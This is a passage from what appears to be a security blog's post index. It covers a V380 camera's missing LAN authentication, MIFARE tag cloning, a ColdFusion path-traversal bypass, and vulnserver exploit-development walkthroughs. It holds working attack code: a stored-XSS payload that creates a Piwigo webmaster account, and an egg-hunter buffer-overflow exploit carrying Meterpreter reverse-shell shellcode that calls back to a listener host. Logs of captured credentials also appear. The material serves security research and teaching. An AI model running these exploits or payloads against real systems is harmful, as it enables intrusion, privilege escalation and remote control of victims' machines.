sold as a baby monitor.\nNo Authentication Required on LAN # While the cameras require authentication when viewing the video stream remotely (via a relay server), if an attacker has local network access, it\u0026rsquo;s possible to connect to the IP camera via RTSP directly without needing credentials.\nTo find individual v380 IP cameras on the network, I wrote the following script to send out broadcast requests periodically as done by the client and listen for a response from the camera.\nOnce a camera is found, it\u0026rsquo;s possible to connect directly to the video feed on port 554 using VLC player without providing any credentials:\nThe underlying issue here is the lack of authentication required to view video stream of an IP camera device on the LAN.\nAs per RFC2326, RTSP shares the same authentication schemes as HTTP. Any form of authentication is better than none.\nWi-Fi SSID and Password Sent in Cleartext # During configuration of the device, I noticed that the camera is sending the Wi-Fi SSID (here AAAAA) and password (somesecurepassword) in cleartext to the relay server.\nThis could be an interesting area for additional research.\nAn Interesting Aside # When first testing my password-capturing script, I was super excited to see a username and password roll in within a few seconds. However, after repeating the process, I quickly received a different password, and then another\u0026hellip;\n[+] Valid relay server IP address found: 118.190.204.96:53067 [*] Responding to relay server with device ID: 12345678. [+] Username: 15214040382 [+] Password: mj13893408103 [+] Valid relay server IP address found: 119.3.37.82:61317 [*] Responding to relay server with device ID: 12345678. [+] Username: 12345678 [+] Password: a123456 [+] Valid relay server IP address found: 120.78.134.35:50489 [*] Responding to relay server with device ID: 12345678. [+] Username: ycl [+] Password: 138830yc [+] Valid relay server IP address found: 39.108.13.9:65229 [*] Responding to relay server with device ID: 12345678. [+] Username: admin [+] Password: okok591939 It appears that someone is attempting to brute-force passwords for some of these devices!\nAcknowledgments # A huge thank you to Aura for giving us research budget and time to do cool things. Another huge thank you to Matthew Daley for helping as always. ","date":"24 February 2021","permalink":"/posts/research/v380-ip-camera/","section":"Posts","summary":"How to take over a live IoT camera stream","title":"CCTV: Now You See Me, Now You Don't"},{"content":"","date":"24 February 2021","permalink":"/tags/iot/","section":"Tags","summary":"","title":"IoT"},{"content":"","date":"24 February 2021","permalink":"/tags/ip-camera/","section":"Tags","summary":"","title":"IP camera"},{"content":"","date":"24 February 2021","permalink":"/tags/v380-pro/","section":"Tags","summary":"","title":"v380 pro"},{"content":"","date":"27 September 2020","permalink":"/tags/access-control/","section":"Tags","summary":"","title":"access control"},{"content":" How to clone a MIFARE Classic 1K tag to Chameleon Mini RevE Rebooted # The official github repository for the Chameleon Mini RevE Rebooted. Other revisions of the hardware use different github projects. The RevE Rebooted looks like the image below:\nTools used:\nMIFARE Classic Tool (MCT) TeraTerm Step 1: Dump tag using MIFARE Classic Tool. # Step 2: Convert dump from .mct format to .mfd # Using bash:\ngrep -v '+Sector: ' dump.mct | xxd -r -p \u0026gt; dump.mfd\nOr Python using this script:\npython3 mct-to-mfd.py dump.mct dump.mfd\nStep 3: Upload dump.mfd to Chameleon Mini RevE Rebooted # Plug the Chameleon Mini RevE Rebooted in and connect to the device via teraterm.\nPick an open card slot with SETTING=X command and the slot you want to use (X: 0 to 7).\nCheck the config mode. For example MIFARE Classic 1k: CONFIG=MF_CLASSIC_1K.\nInitiate the file upload using the UPLOAD command and selecting the dump.mfd file:\n","date":"27 September 2020","permalink":"/posts/physec/clone-mifare-classic-1k-tag-to-chameleon-mini-reve-rebooted/","section":"Posts","summary":"How to clone Mifare Classic 1k tags onto the Chameleon Mini RevE Rebooted","title":"Clone Mifare Classic 1k Tag To Chameleon Mini RevE Rebooted"},{"content":"","date":"7 March 2020","permalink":"/tags/adobe-coldfusion/","section":"Tags","summary":"","title":"Adobe ColdFusion"},{"content":"","date":"7 March 2020","permalink":"/tags/cve-2019-8074/","section":"Tags","summary":"","title":"CVE-2019-8074"},{"content":" Background # Last year I discovered a fairly simple Path Traversal bug in Adobe ColdFusion. Due to the vulnerability being discovered at work and without any source code, details are extremely vague.\nA custom web application created with Adobe ColdFusion 2018 had the ColdFusion admin portal whitelisted. Any attempts to go to the admin portal https://example.com/CFIDE/administrator/index.cfm would result in a redirect to the main page of the application.\nThe idea came from watching a great talk from Orange Tsai on exploiting URL parsers. More info here.\nBug Details # Using ..;/ it was possible to bypass the whitelisting rule and access the ColdFusion admin portal. For example: https://example.com/..;/CFIDE/administrator/index.cfm\nThe bug was rated as critical by Adobe, I am unsure if this relates to the Command Injection bug discovered by Badcode of Knownsec 404 Team (CVE-2019-8073) at roughly the same time or if I missed something else completely.\nAffected Versions\nProduct Affected Versions Platform ColdFusion 2018 Update 4 and earlier versions All ColdFusion 2016 Update 11 and earlier versions All Fixed Versions\nProduct Updated Versions Platform ColdFusion 2018 Update 5 All ColdFusion 2016 Update 12 All Adobe Security Bulletin: https://helpx.adobe.com/security/products/coldfusion/apsb19-47.html\n","date":"7 March 2020","permalink":"/posts/bugs/cve-2019-8074/","section":"Posts","summary":"Access Control Bypass via Path Taversal","title":"Path Traversal in Adobe ColdFusion (CVE-2019-8074)"},{"content":"","date":"6 March 2020","permalink":"/tags/piwigo/","section":"Tags","summary":"","title":"Piwigo"},{"content":" Background # Back in October 2016 I reported a stored cross-site scripting (XSS) vulernability in the Piwigo photo gallery CMS to the maintainer. The Title and Description fields of uploaded photos are not being properly sanitized or escaped by the Community plugin or Piwigo Core before being reflected back in the application response.\nPrivesc to Webmaster via Stored XSS # From an attackers perspective this stored XSS is great because a low privileged user can upload a photo which needs to be approved by an administrator. If the Community plugin is installed and enabled then non administrative users are able to exploit this vulnerability and execute arbitray code as an administrator.\nTo weaponise this stored XSS, lets create two XHR requests:\nThe first request will create a new user The second request will promote the new user from a standard user account to a webmaster (highest privileges). // grab the csrf token sent with each form submitted for creating users and updating their profiles var csrf_token = $(\u0026#34;input[name = pwg_token]\u0026#34;).val(); // set username and password details var username = \u0026#34;phish\u0026#34;; var password = \u0026#34;password123\u0026#34;; // set piwigo url var piwigo_URL = \u0026#34;http://\u0026lt;target\u0026gt;\u0026#34;; // create a new XMLHttpRequest to create a new user xhr = new XMLHttpRequest(); var create_User_URL = piwigo_URL+\u0026#34;/piwigo/ws.php?format=json\u0026amp;method=pwg.users.add\u0026#34;; xhr.open(\u0026#34;POST\u0026#34;, create_User_URL, true); xhr.setRequestHeader(\u0026#34;Content-type\u0026#34;, \u0026#34;application/x-www-form-urlencoded\u0026#34;); xhr.onreadystatechange = function() { if (xhr.readyState == 4 \u0026amp;\u0026amp; xhr.status == 200) { // retrieve user id that our newly created user was assigned var user_Details = JSON.parse(xhr.responseText); var user_ID = user_Details.result.users[0].id; // promote user privs to webmaster xhr2 = new XMLHttpRequest(); var update_User_Priv_URL = piwigo_URL+\u0026#34;/piwigo/ws.php?format=json\u0026amp;method=pwg.users.setInfo\u0026#34;; xhr2.open(\u0026#34;POST\u0026#34;, update_User_Priv_URL, true); xhr2.setRequestHeader(\u0026#34;Content-type\u0026#34;, \u0026#34;application/x-www-form-urlencoded\u0026#34;); var update_User_Priv = \u0026#34;user_id=\u0026#34;+user_ID+\u0026#34;\u0026amp;email=\u0026amp;status=webmaster\u0026amp;level=0\u0026amp;enabled_high=on\u0026amp;nb_image_page=15\u0026amp;theme=elegant\u0026amp;language=en_GB\u0026amp;recent_period=7\u0026amp;pwg_token=\u0026#34;+csrf_token+\u0026#34;\u0026amp;group_id=-1\u0026amp;expand=false\u0026amp;show_nb_hits=false\u0026amp;show_nb_comments=false\u0026#34;; xhr2.send(update_User_Priv); } } var create_User = \u0026#34;username=\u0026#34;+username+\u0026#34;\u0026amp;password=\u0026#34;+password+\u0026#34;\u0026amp;email=\u0026amp;pwg_token=\u0026#34;+csrf_token; xhr.send(create_User); Now when an administrator logs in and views the malicious upload, the stored XSS payload will trigger and we can login with our new webmaster account.\n","date":"6 March 2020","permalink":"/posts/bugs/piwigo-stored-xss/","section":"Posts","summary":"A weaponized stored XSS example","title":"Stored XSS in Piwigo 2.6.0 -\u003e 2.9.0 beta1"},{"content":"","date":"6 March 2020","permalink":"/tags/xss/","section":"Tags","summary":"","title":"XSS"},{"content":"","date":"20 February 2019","permalink":"/tags/buffer-overflow/","section":"Tags","summary":"","title":"buffer overflow"},{"content":"","date":"20 February 2019","permalink":"/tags/exploit-dev/","section":"Tags","summary":"","title":"exploit dev"},{"content":"This vulerability is very similar to the one described in the TRUN post. However there are some key differences - mainly limitations and restrictions on buffer space.\nThe Code # if (strncmp(RecvBuf, \u0026#34;KSTET \u0026#34;, 6) == 0) { char *KstetBuf = malloc(100); strncpy(KstetBuf, RecvBuf, 100); memset(RecvBuf, 0, DEFAULT_BUFLEN); Function2(KstetBuf); SendResult = send( Client, \u0026#34;KSTET SUCCESSFUL\\n\u0026#34;, 17, 0 ); } ... void Function2(char *Input) { char Buffer2S[60]; strcpy(Buffer2S, Input); } The limitations and restrictions are:\nThe KSTET command will call Function2 which only allocates 60 bytes of memory instead of 2000 as with the TRUN command which calls Function3.\n60 bytes is too small for our reverse shell payload. We will need to insert an egg hunter here that will search for our final shellcode elsewhere in memory.\nstrncpy(KstetBuf, RecvBuf, 100);\nOnly the first 100 bytes of the user supplied input to the KSTET command is passed to Function2.\nWith these limitations and restrictions to the buffer space, we cannot simply exploit KSTET with a single command. We will need to send our final shellcode payload in a different command and utilize an egg hunter to locate it. An egg hunter is just a small bit of assembly that can search the entire memory range for a magic string we define (just before our final shellcode) and will redirect execution flow there.\nExploitation # #!/usr/bin/env python import socket import sys buffer = \u0026#39;A\u0026#39; * 100 command = \u0026#39;KSTET \u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + command + buffer.encode(\u0026#39;hex\u0026#39;) s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() Sending the initial payload:\nWe see the same vanilla stack overflow and see the small space we have to work with.\nI will skip over the steps to locate eip and a JMP ESP instruction to take over flow of execution since it was covered in the TRUN post.\n#!/usr/bin/env python import socket import sys pre_buf = \u0026#39;A\u0026#39; * 70 eip = \u0026#39;\\xBB\\x11\\x50\\x62\u0026#39; jmp = \u0026#39;\\x90\\xEB\\xB5\u0026#39; post_buf = \u0026#39;C\u0026#39; * (26 - len(jmp)) buffer = pre_buf + eip + jmp + post_buf command = \u0026#39;KSTET \u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + command + buffer.encode(\u0026#39;hex\u0026#39;) s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() Looking at the crash after we have control over eip, we can see the buffer we have to work with is extremely small. We cannot place the egg hunter code in this small buffer of C\u0026rsquo;s.\nAs in the TRUN post, we can insert a jump short instruction (EB) to jump back into our buffer of A\u0026rsquo;s.\nUse Mona to generate our egg hunter code with !mona egghunter -wow64.\nWe can also update the exploit to contain our egg hunter payload which will search memory for our unique string (egg). The egg is defined in the egg hunter assembly (\\x77\\x30\\x30\\x74 = w00t) and you can change it if you want/need to.\n#!/usr/bin/env python import socket import sys nopsled = \u0026#39;\\x90\u0026#39; * 4 egghunter = \u0026#39;\\x31\\xdb\\x53\\x53\\x53\\x53\\xb3\\xc0\\x66\\x81\\xca\\xff\\x0f\\x42\\x52\\x6a\u0026#39; egghunter += \u0026#39;\\x26\\x58\\x33\\xc9\\x8b\\xd4\\x64\\xff\\x13\\x5e\\x5a\\x3c\\x05\\x74\\xe9\\xb8\u0026#39; egghunter += \u0026#39;\\x77\\x30\\x30\\x74\\x8b\\xfa\\xaf\\x75\\xe4\\xaf\\x75\\xe1\\xff\\xe7\u0026#39; pre_buf = \u0026#39;A\u0026#39; * (70 - len(egghunter) - len(nopsled)) eip = \u0026#39;\\xBB\\x11\\x50\\x62\u0026#39; jmp = \u0026#39;\\x90\\xEB\\xB5\u0026#39; post_buf = \u0026#39;C\u0026#39; * (26 - len(jmp)) buffer = nopsled + egghunter + pre_buf + eip + jmp + post_buf command = \u0026#39;KSTET \u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + command + buffer.encode(\u0026#39;hex\u0026#39;) s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() I ran into issues when not giving the egg hunter assembly some space to unpack itself - so suggest adding a small nopsled before the payload.\nIf you scroll back to the start of the nopsled for the egg hunter code, you can see some of the nops get eaten / disappear. I do not really understand why this happens - you can see only one nop made it of the 4 I sent. If you know the answer please ping me on twitter @dunderhay.\nTo test the egg hunter, we need to insert the egg into final shellcode code cave. We can use another command that will hold the final shellcode payload in meomry until the egg hunter code comes searching for it. The egg is repeated twice (w00tw00t) and inserted just before our final shellcode.\nThe GDOG command is a perfect candicate as it has a large enough buffer space for our egg and final shellcode payload and has no additional restrictions on the buffer (requiring an ascii only payload etc).\nif (strncmp(RecvBuf, \u0026#34;GDOG \u0026#34;, 5) == 0) {\tstrncpy(GdogBuf, RecvBuf, 1024); SendResult = send( Client, \u0026#34;GDOG RUNNING\\n\u0026#34;, 13, 0 ); } Insert the egg and final shellcode placeholder payload, it is a good idea to use breakpoint instructions (CC) as the exploit will pause in the debugger once the egg is located.\n#!/usr/bin/env python import socket import sys egg = \u0026#39;w00tw00t\u0026#39; shellcode = \u0026#39;\\xCC\u0026#39; * 1000 payload = egg + shellcode command = \u0026#39;GDOG \u0026#39; data = command + payload print \u0026#39;[*] Sending data: \u0026#39; + command + egg + shellcode.encode(\u0026#39;hex\u0026#39;) s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() nopsled = \u0026#39;\\x90\u0026#39; * 4 egghunter = \u0026#39;\\x31\\xdb\\x53\\x53\\x53\\x53\\xb3\\xc0\\x66\\x81\\xca\\xff\\x0f\\x42\\x52\\x6a\u0026#39; egghunter += \u0026#39;\\x26\\x58\\x33\\xc9\\x8b\\xd4\\x64\\xff\\x13\\x5e\\x5a\\x3c\\x05\\x74\\xe9\\xb8\u0026#39; egghunter += \u0026#39;\\x77\\x30\\x30\\x74\\x8b\\xfa\\xaf\\x75\\xe4\\xaf\\x75\\xe1\\xff\\xe7\u0026#39; pre_buf = \u0026#39;A\u0026#39; * (70 - len(egghunter) - len(nopsled)) eip = \u0026#39;\\xBB\\x11\\x50\\x62\u0026#39; jmp = \u0026#39;\\x90\\xEB\\xB5\u0026#39; post_buf = \u0026#39;C\u0026#39; * (26 - len(jmp)) buffer = nopsled + egghunter + pre_buf + eip + jmp + post_buf command = \u0026#39;KSTET \u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + command + buffer.encode(\u0026#39;hex\u0026#39;) s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() It is really amazing to watch the egg hunter work, you can set a breakpoint before the JMP EDI instruction which is the last instruction to execute before jumping to the egg location if found. You can also see that the egg and breakpoints in the debugger shown below.\nAlways test the final shellcode location for bad characters. It is a good habbit and should even be done for the location you use for the egg hunter assembly.\nBesides the null terminator (00), I found no additional bad characters and updated the exploit with the final payload and as always a little nopsled for it.\n#!/usr/bin/env python import socket import sys # msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.185.157 LPORT=4444 -b \u0026#39;\\x00\u0026#39; -f python egg = \u0026#39;w00tw00t\u0026#39; shellcode = \u0026#39;\\x90\u0026#39; * 32 shellcode += \u0026#39;\\xba\\x43\\xde\\x96\\x7d\\xda\\xc0\\xd9\\x74\\x24\\xf4\\x5b\\x31\u0026#39; shellcode += \u0026#39;\\xc9\\xb1\\x56\\x31\\x53\\x13\\x83\\xeb\\xfc\\x03\\x53\\x4c\\x3c\u0026#39; shellcode += \u0026#39;\\x63\\x81\\xba\\x42\\x8c\\x7a\\x3a\\x23\\x04\\x9f\\x0b\\x63\\x72\u0026#39; shellcode += \u0026#39;\\xeb\\x3b\\x53\\xf0\\xb9\\xb7\\x18\\x54\\x2a\\x4c\\x6c\\x71\\x5d\u0026#39; shellcode += \u0026#39;\\xe5\\xdb\\xa7\\x50\\xf6\\x70\\x9b\\xf3\\x74\\x8b\\xc8\\xd3\\x45\u0026#39; shellcode += \u0026#39;\\x44\\x1d\\x15\\x82\\xb9\\xec\\x47\\x5b\\xb5\\x43\\x78\\xe8\\x83\u0026#39; shellcode += \u0026#39;\\x5f\\xf3\\xa2\\x02\\xd8\\xe0\\x72\\x24\\xc9\\xb6\\x09\\x7f\\xc9\u0026#39; shellcode += \u0026#39;\\x39\\xde\\x0b\\x40\\x22\\x03\\x31\\x1a\\xd9\\xf7\\xcd\\x9d\\x0b\u0026#39; shellcode += \u0026#39;\\xc6\\x2e\\x31\\x72\\xe7\\xdc\\x4b\\xb2\\xcf\\x3e\\x3e\\xca\\x2c\u0026#39; shellcode += \u0026#39;\\xc2\\x39\\x09\\x4f\\x18\\xcf\\x8a\\xf7\\xeb\\x77\\x77\\x06\\x3f\u0026#39; shellcode += \u0026#39;\\xe1\\xfc\\x04\\xf4\\x65\\x5a\\x08\\x0b\\xa9\\xd0\\x34\\x80\\x4c\u0026#39; shellcode += \u0026#39;\\x37\\xbd\\xd2\\x6a\\x93\\xe6\\x81\\x13\\x82\\x42\\x67\\x2b\\xd4\u0026#39; shellcode += \u0026#39;\\x2d\\xd8\\x89\\x9e\\xc3\\x0d\\xa0\\xfc\\x8b\\xe2\\x89\\xfe\\x4b\u0026#39; shellcode += \u0026#39;\\x6d\\x99\\x8d\\x79\\x32\\x31\\x1a\\x31\\xbb\\x9f\\xdd\\x40\\xab\u0026#39; shellcode += \u0026#39;\\x1f\\x31\\xea\\xbc\\xe1\\xb2\\x0a\\x94\\x25\\xe6\\x5a\\x8e\\x8c\u0026#39; shellcode += \u0026#39;\\x87\\x31\\x4e\\x30\\x52\\xaf\\x44\\xa6\\x9d\\x87\\xe0\\xab\\x76\u0026#39; shellcode += \u0026#39;\\xd5\\x12\\xc5\\xda\\x50\\xf4\\xb5\\xb2\\x32\\xa9\\x75\\x63\\xf2\u0026#39; shellcode += \u0026#39;\\x19\\x1e\\x69\\xfd\\x46\\x3e\\x92\\xd4\\xee\\xd5\\x7d\\x80\\x47\u0026#39; shellcode += \u0026#39;\\x42\\xe7\\x89\\x1c\\xf3\\xe8\\x04\\x59\\x33\\x62\\xac\\x9d\\xfa\u0026#39; shellcode += \u0026#39;\\x83\\xc5\\x8d\\xeb\\xf3\\x25\\x4e\\xec\\x91\\x25\\x24\\xe8\\x33\u0026#39; shellcode += \u0026#39;\\x72\\xd0\\xf2\\x62\\xb4\\x7f\\x0c\\x41\\xc7\\x78\\xf2\\x14\\xf1\u0026#39; shellcode += \u0026#39;\\xf3\\xc5\\x82\\xbd\\x6b\\x2a\\x43\\x3d\\x6c\\x7c\\x09\\x3d\\x04\u0026#39; shellcode += \u0026#39;\\xd8\\x69\\x6e\\x31\\x27\\xa4\\x03\\xea\\xb2\\x47\\x75\\x5e\\x14\u0026#39; shellcode += \u0026#39;\\x20\\x7b\\xb9\\x52\\xef\\x84\\xec\\xe0\\xe8\\x7a\\x72\\xcf\\x50\u0026#39; shellcode += \u0026#39;\\x12\\x8c\\x4f\\x61\\xe2\\xe6\\x4f\\x31\\x8a\\xfd\\x60\\xbe\\x7a\u0026#39; shellcode += \u0026#39;\\xfd\\xaa\\x97\\x12\\x74\\x3b\\x55\\x83\\x89\\x16\\x3b\\x1d\\x89\u0026#39; shellcode += \u0026#39;\\x95\\xe0\\xae\\xf0\\xd6\\x17\\x4f\\x05\\xff\\x73\\x50\\x05\\xff\u0026#39; shellcode += \u0026#39;\\x85\\x6d\\xd3\\xc6\\xf3\\xb0\\xe7\\x7c\\x0b\\x87\\x4a\\xd4\\x86\u0026#39; shellcode += \u0026#39;\\xe7\\xd9\\x26\\x83\u0026#39; payload = egg + shellcode command = \u0026#39;GDOG \u0026#39; data = command + payload print \u0026#39;[*] Sending data: \u0026#39; + command + egg + shellcode.encode(\u0026#39;hex\u0026#39;) s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() nopsled = \u0026#39;\\x90\u0026#39; * 4 egghunter = \u0026#39;\\x31\\xdb\\x53\\x53\\x53\\x53\\xb3\\xc0\\x66\\x81\\xca\\xff\\x0f\\x42\\x52\\x6a\u0026#39; egghunter += \u0026#39;\\x26\\x58\\x33\\xc9\\x8b\\xd4\\x64\\xff\\x13\\x5e\\x5a\\x3c\\x05\\x74\\xe9\\xb8\u0026#39; egghunter += \u0026#39;\\x77\\x30\\x30\\x74\\x8b\\xfa\\xaf\\x75\\xe4\\xaf\\x75\\xe1\\xff\\xe7\u0026#39; pre_buf = \u0026#39;A\u0026#39; * (70 - len(egghunter) - len(nopsled)) eip = \u0026#39;\\xBB\\x11\\x50\\x62\u0026#39; jmp = \u0026#39;\\x90\\xEB\\xB5\u0026#39; post_buf = \u0026#39;C\u0026#39; * (26 - len(jmp)) buffer = nopsled + egghunter + pre_buf + eip + jmp + post_buf command = \u0026#39;KSTET \u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + command + buffer.encode(\u0026#39;hex\u0026#39;) s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() Sending the final exploit.\nAnd finally we have a shell!\n","date":"20 February 2019","permalink":"/posts/vulnserver/kstet/","section":"Posts","summary":"Egg Hunter","title":"Exploiting vulnserver: kstet"},{"content":"","date":"20 February 2019","permalink":"/tags/vulnserver/","section":"Tags","summary":"","title":"vulnserver"},{"content":"This time, the vulnerability is a little different. Again, we start by looking at the code for the GMON command.\nThe Code # if (strncmp(RecvBuf, \u0026#34;GMON \u0026#34;, 5) == 0) { char GmonStatus[13] = \u0026#34;GMON STARTED\\n\u0026#34;; for (i = 5; i \u0026lt; RecvBufLen; i++) { if ((char)RecvBuf[i] == \u0026#39;/\u0026#39;) { if (strlen(RecvBuf) \u0026gt; 3950) { Function3(RecvBuf); } break; } }\tSendResult = send( Client, GmonStatus, sizeof(GmonStatus), 0 ); } ... void Function3(char *Input) { char Buffer2S[2000]; strcpy(Buffer2S, Input); } There are two main differences here:\nif ((char)RecvBuf[i] == '/') {\nThis line checks that the 5th character is a / and not a .. To successfully use the GMON command, we need to send GMON / (space followed by a forward slash).\nif (strlen(RecvBuf) \u0026gt; 3950) {\nThis line checks if the RecvBuf (our user supplied input) is larger than 3950 characters. If this is true, the value of RecvBuf is passed to function3.\nSo it looks like we need to send a buffer larger than 3950 characters to cause the overflow. Lets send the GMON / command with a buffer of 4000 A\u0026rsquo;s to the vulnserver application.\n#!/usr/bin/env python import socket import sys buffer = \u0026#39;A\u0026#39; * 4000 command = \u0026#39;GMON /\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() Sending the initial payload:\nBy increasing the buffer of A\u0026rsquo;s to a value over 3950, we have overwritten the Structured Exception Handler (SEH).\nPassing the exception in the debugger (Shift + F7), the application attempts to handle the pointer to the current exception registration record (SEH) which has been overwritten with the user supplied buffer of A\u0026rsquo;s.\nStructured Exception Handlers # I found the best explanation for Structured Exception Handlers from fuzzsecurity, and highly recommend you go check out the posts there for more exploit dev wizardry. I have quoted the relevant bits below:\nThe SEH is a mechanism in Windows that makes use of a data structure called \u0026ldquo;Linked List\u0026rdquo; which contains a sequence of data records. When a exception is triggered the operating system will travel down this list. The exception handler can either evaluate it is suitable to handle the exception or it can tell the operating system to continue down the list and evaluate the other exception functions. To be able to do this the exception handler needs to contain two elements (1) a pointer to the current “Exception Registration Record” (SEH) and (2) a pointer to the “Next Exception Registration Record” (nSEH). Since our Windows stack grows downward we will see that the order of these records is reversed [nSEH]\u0026hellip;[SEH].\n(image from Corelan)\nWhen a exception occurs in a program function the exception handler will push the elements of it\u0026rsquo;s structure to the stack since this is part of the function prologue to execute the exception. At the time of the exception the SEH will be located at esp+8.\nYour probably asking yourself what does all of this have to do with exploit development. If we get a program to store a overly long buffer AND we overwrite a “Structured Exception Handler” windows will zero out the CPU registers so we won\u0026rsquo;t be able to directly jump to our shellcode. Luckily this protection mechanism is flawed. Generally what we will want to do is overwrite SEH with a pointer to a “POP POP RETN” instruction (the POP instruction will remove 4-bytes from the top of the stack and the RETN instruction will return execution to the top of the stack). Remember that the SEH is located at esp+8 so if we increment the stack with 8-bytes and return to the new pointer at the top of the stack we will then be executing nSEH. We then have at least 4-bytes room at nSEH to write some opcode that will jump to an area of memory that we control where we can place our shellcode!!\nIn other words, the payload must do the following things\ncause an exception. Without an exception, the SEH handler (the one you have overwritten/control) won’t kick in\noverwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode)\noverwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode.\nThe shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten “pointer to next SEH record” will jump to it).\nExploitation # Like I said, that is such a clear explination that I could not improve on it. So lets go through those motions with the gmon crash.\nFirst lets find out the offsets for SE handler and the pointer to the next SEH record using a pattern from metasploit. Please see the previous blog post on host to generate the unique string.\nThe updated exploit now looks like this:\n#!/usr/bin/env python import socket import sys buffer = \u0026#39;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5